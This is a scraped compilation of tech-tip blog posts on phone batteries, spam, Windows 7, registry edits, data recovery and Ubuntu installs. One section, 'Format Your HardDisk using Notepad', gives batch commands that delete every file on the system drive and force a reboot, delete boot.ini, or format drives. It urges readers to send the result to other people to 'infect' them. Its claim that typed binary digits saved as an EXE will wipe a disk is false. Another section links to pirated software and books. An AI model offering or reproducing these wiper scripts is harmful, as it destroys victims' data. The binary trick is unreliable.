Mobile battery - Saving TIPS..

If you're expecting a call and your battery icon starts blinking, the first thing you should do is find a charger. But if that's not an option, here are ten things you can do to hang on. We'll skip the usual tips about the 'memory effect' and which battery type is better NiCd or Li-Ion because you don't really have a choice in that.

Close Background Applications
If you're using a Smartphone, close applications that you don't need. Applications that stay active in the background use up a bit of CPU, which uses up battery. Make sure you 'exit' the applications from the menu, not by pressing the 'End' key, as that merely puts the application in the background. In Series 60 Smartphones (mostly Nokias), hold down the 'Menu' key to get a list of all applications running in the background to close them. In Windows Mobile 5 phones, open the 'Memory' application and check the 'Running programs' tab to close them.

Turn Down Screen Brightness
The screen is one of the most power-consuming parts of the mobile phone. The lower the brightness, the lesser power it needs. Keep it as low as you can, so long as you can still see it! Also, some phones like the E61 and the BlackBerry Pearl come with auto-adjust features that increase the brightness in brightly lit areas and dim it in low-light areas. If you're setting the brightness low, make sure that auto-adjust is turned off.

Don't Use Animated Wallpapers or Screensavers
The animations in wallpapers and screensavers can drain a bit of battery as they also consume a wee bit of CPU. Turn them off.

Turn Off Keypad Lights
If you've been using the phone for a while, you may be able to use the keys without seeing them. If this is the case, the keypad backlight can be turned off. However, not a lot of phones support this, but it's worth considering if your phone does.

Decrease Screen Standby Time Out
The time till your screen dims out and/or gets turned off is configurable in most phones. 10 seconds is good, 5 seconds is better. Set it as low as you can go without it becoming inconvenient.


Turn Off Vibration
Probably the second most power-consuming feature of any mobile phone is the built-in vibration alert. See if you can do without it.

Turn Down Ringer Volume, Keypad Tones and Speaker During Calls
If you're mostly indoors, like in the office or at home, a low ringer volume can go a bit towards saving your battery. Most phones also have DTMF-like keypad tones, which are not necessary if the keypad has decent tactile feedback. I keep them turned off most of the time you can try it too. Volume of the earpiece when you're on a call can also be lowered, and that helps too.

Disable Voice Clarity / EFR / Voice Privacy
Almost all phones now do Enhanced Full Rate (EFR) for voice communication that consumes a little more power. In most cases, the enhanced quality of EFR doesn't make a difference thanks to the high noise levels in our city. Keep it off, you probably won't miss it. Some phones (mostly Samsungs) have a 'voice privacy' feature which can also be turned off to save battery.

Turn off 3G / GPRS / EDGE
Most 3G/UMTS/WCDMA phones keep searching for 3G coverage by default. In India, they'll keep searching till 2008, draining your battery, so go to the network selection screen and choose GSM-only. If your phone has a secondary camera near the screen, it's a 3G phone. Check your phone’s specs on the website if you aren't sure. Sometimes, even regular GPRS or EDGE connections stay active in the back, so make sure you specifically disconnect when you're done browsing the web.

Use Bluetooth and WiFi Only While Transferring
If you only use Bluetooth occasionally to transfer files to and from other devices, there's probably no point keeping it on all the time. Most phones only come with an on/off setting for Bluetooth, unlike the 'Turn on for 10 minutes' setting available for Infrared in some phones (mostly Sony Ericssons). People tend to forget about Bluetooth being left on after transferring the file avoid doing this. Same goes for WiFi, if you're phone has that.

Here's another tip find a USB cable if your phone supports recharging via USB. The Motorola RAZR/KRZR/SLVRs and most Windows Mobile Smartphones have a standard miniUSB slot that can use the same cable as most digital cameras. You're more likely to find one of these lying around somewhere than a charger for your phone, unless it's a Nokia, of course.

Finally, the last tip is not very recommendable, but it is something to consider if you've tried everything else above: don't use the phone too much. Of course, you can't use the camera and media features (most Samsung phones won't even let you, if the battery is low) but you can also be a bit choosy while answering incoming calls not all of them need to be answered. This is even more true in case of unknown numbers!

How to avoid spam in your inbox?

Spams are unsolicited emails that are of no use to you, that are found in your inbox. After knowing what a spam is, the next step is to know how to avoid spam. Avoiding spam saves a lot of resources in your network. It also saves a lot of money for the organization. If you compare the costs of spam and the cost of an anti-spam solution, you would come to know that anti-spam solutions save you a lot of money. Now let us know how to avoid spam in your inbox to save a lot of space.

How to avoid spam in your inbox?

Most of the web mail providers like Yahoo, Gmail, Hotmail, and Rediffmail and a host of other web mail providers give you anti-spam filters. All you have to do is to activate the anti-spam filters in your account. If you spam filter is ON, all the spam are delivered usually to a Bulk folder or to a Junk folder. The name of the folder is not a concern, you should note that the spam are delivered to a separate folder other than you Inbox. You can modify the settings so that the spam mails are deleted automatically after 1 or 2 weeks or after a month. Different steps are provided by each service provider to avoid spam in your inbox.

If you are using Outlook Express or any other email client to retrieve your emails, then you have many antispam solutions that help you to identify the spam and deliver it to a special folder.
Another way to avoid spam in your Inbox is to avoid posting your email address to any newsgroup, or to avoid putting your email address on the WebPages of your website. Do not give your email addresses unnecessarily to all the websites you browse. They collect your email addresses and sell them to other companies who send you spam mails that take most of the space in your Inbox.

When you try to avoid spam using these filters there is every chance that some genuine emails from your friends get trapped in the Bulk or Junk folders. Hence it is always better to check you bulk folder for some genuine emails once in a while. If you find any genuine email in your Junk folder you can just mark it a Not Spam or Not Junk and that email address will be added to a Safe list so that further emails from that email address will be delivered to your Inbox instead of the Junk folder. Emails from the addresses that are in your Address book or Contacts Page are delivered to the Inbox only. So it is also better to update your Contacts page regularly to include all the email addresses of your friends and colleagues.

How e-mail addresses are harvested?

You might be wondering how those companies and organizations that send out spam find your email address. Most of the companies that send you emails are those that would have got the email id from your self. You could have given them the email address when you are in the process of registration for a service in their website. These companies sometimes sell your email address to a third part for a hefty sum. The company that buys your email addresses usually uses it to market a product. Mostly they use these email addresses and target only the intended audience. For example, while registering with a site, you might have given out your likes and dislikes, the subject of interest to you, etc. They use this information to target you when there is a product that is available which might interest you. You could have registered in a forum or newsgroups to join a community of your interest. They might also send you emails regularly. If you leave checking these emails for a few days you might end up with a few hundreds of junk emails. Anti-spam softwares help you to sort them to a different folder or to delete them. Email IDs are harvested from these newsgroups and forums.

Mailing lists are another option, where the companies request the mail servers to divulge with the list of emails they have. Sometimes the emails sent are tracked by using some code wherein if the email is read or delivered, the email address to which the mail is delivered is sent to the sender. This way they collect a list of valid email addresses and use them in the future.

Harvesting the web pages is another way. Software spiders are created that will crawl the Internet and look for the mailto: tags or the @ letter in the HTML codes of the web pages and if found they collect the email address in that tag. Email addresses are also harvested using the HTTP_From header that is sent by the browser to some of the servers. A well-designed page with some script is capable of sending the email address configured in the browser to any email address. Viruses like Melissa are created to send the email address in that way. These viruses are more powerful that they send all the email addresses available in your address book also.

During domain name registrations you will be giving your email addresses. This is also one of the way by which your email addresses are leaked to a third party. There are three email columns available during domain name registrations. Contacts for Administration, Technical, and Billing. The persons email addresses are available in these columns. These are easily harvested from the ‘whois directory, which is always open. Another major source of email addresses are the IRCs and chat rooms.

Another method of harvesting email is the brute force method. In this method the spammers try all the possibilities of names of the email ids for that particular domain. They usually try the common names that are used as email ids and send out emails to them. Some of them respond to the emails and they get added to the spammers list. This method can be easily avoided by the site administrator if they watch the heavy incoming email traffic for their domain.

Unsubscribe facility in spam e-mails

Due to legal implications on the spammers now they provide with an ‘Unsubscribe feature in the spams that are sent. You can use these links to unsubscribe from the mailing list of that company so that you can avoid further emails from that company. This is also a tedious process if you get many unsolicited emails. You cant keep on unsubscribe each of the mailing list and it may take a lot of time for you. Hence it is better to use anti-spam softwares and spam filters to avoid spams in your Inbox.

15 Best Windows 7 Tips and Hacks

You have upgraded to Windows 7, love the new taskbar, and enjoy the power of using the cool Libraries feature.

But now you want more. You want the cool tips and tricks that make Windows 7 fun!

So here are the best ones to help you get the most out of your new OS. In this article, we will focus on the Windows 7 interface to get you started on the road to becoming a Windows 7 Power User. In Part 2, we will be looking at advanced tips for usability, performance, and security.

1. Use Keyboard Shortcuts

Using the mouse, you can drag-‘n-dock windows to either side of the screen, or drag it to the top to maximize it. These keyboard shortcuts are even faster:

• Win+Left Arrow and Win+Right Arrow dock the window to the left and right side of the screen
• Win+Up Arrow and Win+Down Arrow maximize and restore/minimize
• Win+M minimizes everything
• Alt+Up, Alt+Left Arrow, Alt+Right Arrow navigate to parent folder, or browse Back and Forward through folders in Explorer
• Win+Home minimizes/restores all open windows except the active window
• Alt+Win+# accesses the Jump List of program number ‘#’ on the taskbar

2.Rearrange System Tray Icons

You can rearrange icons on the taskbar as you wish and start new (or switch to running) instances of the first ten taskbar programs using Win+1, Win+2, and so on. The cool thing is you can also rearrange system tray icons. Reorder them on the tray or move them outside or back in the tray. Take control of what you want to always keep an eye on, and from which apps you’ll require notifications.

3. Access Jump Lists with the Left Mouse Button

Jump Lists usually show up when you right-click on a taskbar icon. However, they can also be accessed by holding the left mouse button and dragging upwards. If you’re using a laptop touchpad or a touch screen, this is convenient because you do not have to click any button to access a context menu.

4. Add Any Folder to Favorites

You can add any library or folder to the Favorites section in Windows Explorer. To add a folder, navigate to it in Explorer, right-click Favorites in the left navigation pane, and select Add current location to Favorites. Now you get quick access to your favorite folders in all File->Save As dialogs!

5. Pin Frequently Used Folders to the Taskbar

Right-click, drag, and pin your favorite folders to Windows Explorer on the taskbar. They will now show up in the Jump List when you right click on Explorer giving you quick access to your favorite folders.

6. Pin Control Panel to the Taskbar

You cannot pin the Control Panel to the taskbar via the Start Menu or by drag and drop. Open the Control Panel and right-click its taskbar icon to pin it to the taskbar. An advantage of this is that Control Panel’s Jump List allows quick access to recently used functions.

7. Create Keyboard Shortcuts for Programs

You can create keyboard shortcuts for any program in Windows 7. Right-click the program icon and select Properties. Select the Shortcut tab, click in Shortcut key, to set the keyboard shortcut for that program.

8. Open Command Prompt in Any Folder

Like the command prompt? Miss the ‘Open Command Window Here’ Windows XP power toy? Press ‘Shift’ when right-clicking on a folder to get that option in the context menu. This also works on the desktop. No power toy required!

9. View Expanded ‘Send To’ Menu

Press Shift when right-clicking on a folder to get an expanded Send To menu.

10. Adjust Screen Text with Clear Type

Use Clear Type Tuner for the best look on your LCD monitor or laptop screen. Run ‘cttune.exe’ from the Start Menu search box, or go to the Control Panel Display applet, and select Adjust ClearType Text from the left.

11. Get Exact Colors On Your Screen

If you are an artist or you work with colors, use the Calibrate Color option in the Control Panel Display applet or run dccw.exe from the Start Menu search box. You can adjust gamma, brightness, contrast, and color balance, ensuring that colors are displayed correctly on your screen.

12. Customize the Power Button

If you restart your computer more often than you shut it down, change the default Shutdown power button to Restart. Right-click on Start, select Properties, and choose the Power button action that you use the most.

13. Customize Number of Items in Jump Lists & Start Menu

Right-click Start, select Properties, click Customize and choose the number of recent programs to be shown in the Start Menu and the number of items displayed in Jump Lists from the Start Menu Size section below.

14. Search Internet from the Start Menu

Enable Internet search from the Start Menu using your default browser. Run GPEDIT.MSC from the Start Menu search box to start the Group Policy Editor. In the left pane, go to User Configuration->Administrative Templates->Start Menu and Taskbar. In the right pane, right-click to Edit and Enable Add Search Internet link to Start Menu.

15. Add Videos to Start Menu

Windows 7 does not place a link to your videos on the Start Menu by default. To add a link to your videos on the Start Menu, right-click Start, select Properties, click on Customize. In the Videos section at the bottom, choose Display as a link.

Did you like these tips? Tell us or share your tricks with us in the comments! Don’t forget to watch out for Part 2!

Did you like the post? Please do share your thoughts in the comments section!

Format Your HardDisk using Notepad.

Format Your HardDisk using Notepad.

/* ======== EDUCATION PURPOSE ONLY==============*/

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.

Step 1. Copy The Following In Notepad Exactly as it says

01001011000111110010010101010101010000011111100000

Step 2. Save As An EXE Any Name Will Do
Step 3. Send the EXE to People And Infect+

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code

format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000

100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your drive d:\

IMPORTANT : This Trick is for Educational Purpose only.DONT TRY ON YOUR OWN PC. knowbest.info not responsible for it. TRY WITH YOUR OWN RISK.It lead to loss of data and crashing your computer..!!

01100110011011110111001001101101011000010111010000

100000011001000011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000

101111010100110010111101010001

00100000011000110011101001011100011000100110111101

101111011101000010111001101001

0110111001101001

Try to figure out yourself rest can’t spoonfeed Its working.

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this:

1. go to notepad and type the following:
   @Echo off
2. Del C:\ *.*|y save it as Dell.bat

want worse then type the following:
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

How To Run Multiple Instances Of Windows Messanger

A lot of people have different email accounts for family and work and often want to keep their instant messaging accounts separate as well. That is easy to achieve if you are using a browser based chat client like Google Talk; you can simply open a new browser window, or a different browser and login from two different accounts. However, this trick does not work if you are accustomed to using a desktop client like Windows Messenger.

There is a way however, using which you can open multiple Windows messangers on the same computer and login with different accounts.We can accomplish this by tweaking the Windows Registery settings of the software.

To refresh your memory, here’s what Windows Registery is all about:

The Windows Registry is a database that stores settings and options for Microsoft Windows oerating systems. It contains information and settings for hardware, operating system software, most non-operating system software, and per-user settings.

Here is a very useful link if you want to know more about Windows Registery.

Coming back to topic, following are the steps you need to follow in order to tweak the Windows registery for Windows Live Messanger and run multiple instances of it:

1. In the Vista search bar, type RegEdit and press enter. This will open the Registery Editor. From here, select HKEY_LOCAL_MACHINE

2. Select Software and then Microsoft from the menu.

3. Within the Microsoft folder, select Windows Live and then Messanger. On the right you will see different registery settings for the Windows Messenger.

4. We will now add a Windows registery in here. To do this, right click anywhere in the window and click New >> DWORD (32 – bit) Value.

5. Type MultipleInstances as the new registery. Press Enter.

6. Now right click the MultipleInstances registery you just created and choose Modify. In the pop-up, the value is currently set to 0, change that to 1.

Thats it! This will allow you to run as many instances of Windows Messenger as you want. You can login to each with a different account. If you ever decide that you want to undo this whole process, all you need to do is go to the Windows registery you created and delete it.

This technique can also be used with other software, however, one should be very careful while editing Windows Registry settings. Moreover, It is always a good idea to make a backup of your registry settings in case you mess something up. The simplest way to do that is by using the System Restore function in Windows. When you create a restore point, all your settings and customizations including changes to Windows Registry are backed up.

Show Me Microsoft Office PowerPoint 2003 by Steve Johnson, Perspection Inc.

Show Me Microsoft Office PowerPoint 2003 by Steve Johnson, Perspection Inc.
Publisher: Que; illustrated edition edition (October 2, 2003) | ISBN-10: 078973009X | CHM | 14 Mb | 368 pages
PowerPoint 2003 provides powerful tools with which to create presentations more easily, illustrate ideas more powerfully and share it all in any setting, from meeting rooms to the web. This book uses a visual page design with easy-to-read text to teach beginning to intermediate PowerPoint tasks.

Download from HotFile
or
Download from SharingMatrix
or
Download from Megaupload

Password.Recovery.Magic.v6.1.0.2018

Password.Recovery.Magic.v6.1.0.2018

RAR.Password.Recovery.Magic.v6.1.0.2018
ZIP.Password.Recovery.Magic.v6.1.0.2018
Office.Password.Recovery.Magic.v6.1.0.2018


All 3 packed in one arhive.

Code:
http://hotfile.com/dl/10487651/6228832/Password.Recovery.Magic.v6.1.0.2018-BEAN.rar.html

OR

http://rapidshare.com/files/269037417/Password.Recovery.Magic.v6.1.0.2018-BEAN.rar

How To Get Data Off A Dead Hard Drive

It happens to us all, sooner or later. We boot up our computer and *BAM* that’s it. Blue screen of death (BSOD). The hard drive has failed. But the baby shower pictures are on there! But my doctoral thesis is on there! But my fan fiction of Harry Potter Meets Captain Kirk is on there! But you’ve been making regular backups, right?

Fear not. You may be able to learn how to get data off a dead hard drive, all by yourself. Now a word of warning, if the hard drive has already physically failed and the disks in it won’t spin, then there isn’t much you can do but contact a data recovery specialist. I suppose you could order an identical hard drive via eBay and carefully take the platters out and put them into the new hard drive. However, if you are that technically inclined, this article is way beneath you!

If you get a BSOD then something may have happened to make your hard drive not boot, or start the operating system. This could be because of a faulty hard drive driver (the software that tells the computer how to use the hard drive) or it could be because of a loose connection. If you feel adventurous, you could check to make sure the connection is good inside the computer.

With some luck, that won’t be the case. If your computer continues on to give you some start up options in white text on a black screen, try choosing Last Known Good Configuration. That will start the computer into a backed-up version of Windows when life was good. It may be missing some recently added files and settings, but at least you’ll get the majority of your work back. At this point, it would be a good idea to perform a ScanDisk or CheckDisk task.

Your computer doesn’t take you to the start-up options page? Hmmm. Well, what you can do is try booting your computer from the Windows disk that came with your computer. Hopefully you have that still.

You may need to go into your BIOS settings and change the start-up disk setting to CD-ROM Drive.

Once your computer boots into the Windows disk,you’ll have some options. One of them will be the Recovery Console. Choose that by pressing the R key.

Chances are you only have one installation of Windows on your computer, so that’s the installation you’ll choose to work with.

When asked for your Administrator’s password, enter it and continue. If you didn’t set up an Administrator’s password, just hit enter to continue.

Now, you’ll be presented with a black screen with white text. At the prompt, type chkdsk /r. What this does is run the Check Disk utility on the hard drive and repairs any problems it might find. If this does the trick, your computer will reboot and work fine. Note, however, that now would be a VERY good time to make a back up of your hard drive and look into buying a new one. If this happens again, you’ll be very lucky to recover it once more.

If that doesn’t work, boot into the Recovery console again. There are two other commands you may want to try: Fixboot,which rewrites the startup sector on your hard drive, and Fixmbr, which repairs the Master Boot Record.

Those are pretty advanced commands to use, so you may not want to run them. Run at your own risk, is all I can say.

There is also a device you can buy, which is pretty inexpensive, that allows you take your hard drive, connect it to this device, and then plug it into the USB port of another computer.This does require you to remove your hard drive from its current computer.

What happens is that the computer you plugged it into, treats it as a slave drive. That means that it doesn’t need to access the operating system, so you should be able to transfer over your files from the failing hard drive. The defunct hard drive shows up as an external USB drive in Window’s Explorer so you can simply drag and drop from it.

I have used one of these many times. What I have found is that as long as the platters spin, I’m able to recover the data.

Do you know of any other simple ways how to get data off a dead hard drive? Know of any good freeware? Has this article helped you? Help your Internet friends out and let us know about it in the comments.

Did you like the post? Please do share your thoughts in the comments section!

How to Install Windows In Ubuntu Hardy with VirtualBox

VirtualBox is an open-source cross platforms virtualization application that allows anyone to create a virtual machine on their computer. It is similar to the popular VMware, but much smaller in size and handles the virtual machine more efficiently.

Before you attempt to install any Windows OS as a virtual machine, make sure that your computer has enough memory (at least 1GB of RAM) and hard disk and you own a genuine Windows installer CD with valid license key.

Installing VirtualBox

Go to the VirtualBox download site. Under the Platform dropdown box, select Ubuntu 8.04 (x86). AMD users please select Ubuntu 8.04 (AMD64). Check the agreement box and click Continue.

Check the box Sun xVM VirtualBox 1.6 and click “Download selected with Sun Download manager”. The program should now download the virtualbox_1.6.2-31466_Ubuntu_hardy_i386.deb file to your desktop. If you don’t have java runtime installed, you can simply right click on the file link and select “Save link as”.

(Click to enlarge)

Once the downloading is done, double click on the virtualbox_1.6.2-31466_Ubuntu_hardy_i386.deb to install the program.

After the installation, VirtualBox will create a group call vboxuser. You will have to add your user name to the group. To do this, go to System -> Administration -> Users and Groups.

Click the Unlock button, follow by Manage Groups.

Scroll down until you see the vboxusers. Click Properties.

Put a check beside your user name and click OK. Done

Go to Applications->System Tools -> Sun xVM Virtualbox. If you can’t find the entry, reboot your computer.

You should see the VirtualBox main window (image below) upon opening the application

Click New to install a new virtual machine.

On the welcome screen, click Next to proceed.

Give your VM a name and determine its type. If you are installing Windows XP, simply put “Windows XP” under the name field and select Windows XP under the OS Type dropdown box.

In the next screen, set your base memory size. If you are installing Windows XP, it is recommended to allocate at least 256MB of memory. If you have lot of memory in your computer, you can always allocate up to 1GB or more.

Next, you have to create the virtual disk space. Click New.

A new window will pop up. Click Next on the new window to proceed.

Select “Dynamically expanding image” follow by Next.

Give the image a name (can be the same as your VM name) and allocate the size. Recommended is at least 8GB. Click Finish to complete the process.

This will close the window and bring you back to the previous window. Select the virtual disk you have just created and click Next. The last part is the confirmation where it will show you the summary of your configuration. If everything is fine, click Finish.

You should now see an entry of the virtual machine in the main screen. Highlight it and select Settings (just above the entry). On the left pane, select the CD/DVD ROM. On the right pane, check the box ‘Mount CD/DVD Drive’ and select Host CD Drive. Click OK.

Now insert in the Windows XP/Vista installer CD. On the virtual box, highlight the virtual machine and click Start. The virtual machine should now boot up and you can follow the screen instruction to install Windows XP.

At any time, if you want to get out of the virtual machine screen, press right Ctrl button. Once you have finished installing the OS. Reboot into the virtual machine. Under the device menu, select Install guest addition. This will allow you to enjoy enhanced graphics and smooth mouse transition between the virtual machine and your host machine.

Dual-Booting Windows XP/Vista And Ubuntu 7.04

Dual-Booting Windows XP/Vista And Ubuntu 7.04

In this tutorial I will teach you how to dual-boot between Windows XP/Vista and Ubuntu.

This tutorial will be split up into two parts:

• Part one for people who have no operating system installed.
• Part two for people who have Windows XP/Vista installed and don't want to re-install Windows.

Part 1: Fresh start

In this part I will go though every step from installing Windows and Ubuntu to creating the dual-boot.

Windows XP + Ubuntu 7.04

What you will need:

• Windows XP Boot Disk
• Ubuntu 7.04 Boot Disk

Make sure your computer is set to boot from a CD.

To check this go into your BIOS. From there go to "Boot" and go to "Boot Priorities". Make sure CD-ROM is set to boot first and you're all set.

Installing Windows XP

Now I am going go over how to install Windows XP step-by-step.

1. Make sure your XP boot up disk is in the CD-ROM and start your PC.

2. A blue MS-DOS screen will load up first asking you if you want to install drivers or run an Automated System Recovery. Just wait for them to go by and then Windows will begin to load files needed to install XP.

2. Now you will see a Welcome to Setup screen. From here just press Enter.

3. Agree to the license agreement by pressing F8.

4. Now to the important part of this installation. You will now see a screen where you will tell Windows XP to install itself. We aren't going to give XP the entire hard drive as we will be giving some to Ubuntu also. Press the C button on your keyboard to create a new partition.

5. You will now see a screen in which you can edit the size of our new partition. Depending on your hard drive size and preference, determine the amount of gigabytes (GB) you are going to give XP to use. After you have chosen the size hit Enter to create the partition.

Note -

• Windows XP requires at least 1.5 gigabytes of hard drive space.
• 1000 megabytes (MB)= 1 gigabyte (GB). So when entering XP's partition make sure to write it as 90000 instead of 90, because it reads in megabytes, not gigabytes.

6. You will now be brought back to the screen in step 4. Highlight the new partition you created and press Enter to install.

7. The next screen will ask you how you would like to format the partition (FAT32 or NTFS). The choice is up to you and what you prefer. If you need help then check out this article FAT32 or NTFS: Making the Choice. Regardless of your choice, choose the quick option as this will make the installation go a whole lot quicker.

8. The last step before Windows installs itself onto your system. Just press F to begin formatting.

9. Now just wait...

10. After the installation has completed your system will reboot and now it is time to finish up installing Windows XP. This part should be pretty self-explanatory so I will let you complete it with your own choices.

Congrats! You have fully installed Windows XP on your system. Activate windows if you want or do anything thing else to it. When ready go on to the next part to install Ubuntu and get the dual-boot up.

Installing Ubuntu 7.04 + Dual-Boot

Again make sure your computer is set to boot from CD-ROM.

1. Insert the Ubuntu 7.04 boot disk and start up your computer. The boot screen will come up next. Highlight the Start or install Ubuntu choice and press Enter. Be patient while the loader goes back and forth. This may take a few minutes.

2. After that Ubuntu will load up and you will be presented with a very bare screen. Double click on the Install icon to begin setting up Ubuntu.

3. After you double-click on the install icon it will first ask you to pick your preferred language. Choose one and click Forward.

4. The next screen will ask you to pick a location near you for time purposes.

5. Now to choose your keyboard layout. Most commonly it is U.S English.

6. Once again it is time to partition your hard drive. From this screen make sure that Manual is checked and click Forward.

Now you should see a screen entitled Prepare partitions. We are now going to create the partition in which Ubuntu will run on plus a file called "SWAP" to act as virtual memory.

7. First let's create the SWAP file. Click on New partition. The SWAP file won't need a whole lot of space to run, so just give it 512 megabytes which will be more than enough for it to run. Now just change the Use as: option to SWAP while keeping the type of partition as Primary and the location as Beginning. Click OK to add it.

8. Now make sure free space is highlighted and click New partition again. This time we will add the hard drive space for Ubuntu to use. Give it what ever amount of space you would like depending on your hard drive space. Just remember to give it at least 2 GB though I recommend you give it much more. Now change the Use as: to ext3 and keep the rest of the settings the same. Click OK to add.

9. Next right-click on the partition ext3 and click edit. From here change the mount point to a forward slash / and click OK.

10. You should see a screen similar to this one, but with the partition NTFS on it. Last thing to do before proceeding is check the box next to ext3 to format and then click Forward.

11. The next screen is going to ask you if you want to import any accounts you may have on Windows XP. If you want to do it, if not just proceed.

12. Time to enter your personal information. Just as a note: your login has to be all lowercase letters.

13. Now just confirm all the information and click Install to start enjoying the beauty of Linux!

End Notes

Well congratulations you have just fully installed both Windows XP and Ubuntu 7.04 to run on the same system under a dual-boot! I hope you enjoyed reading this as I have had a blast writing it.

Quick thanks to Paul Thurrott for letting me use the Windows XP installation images!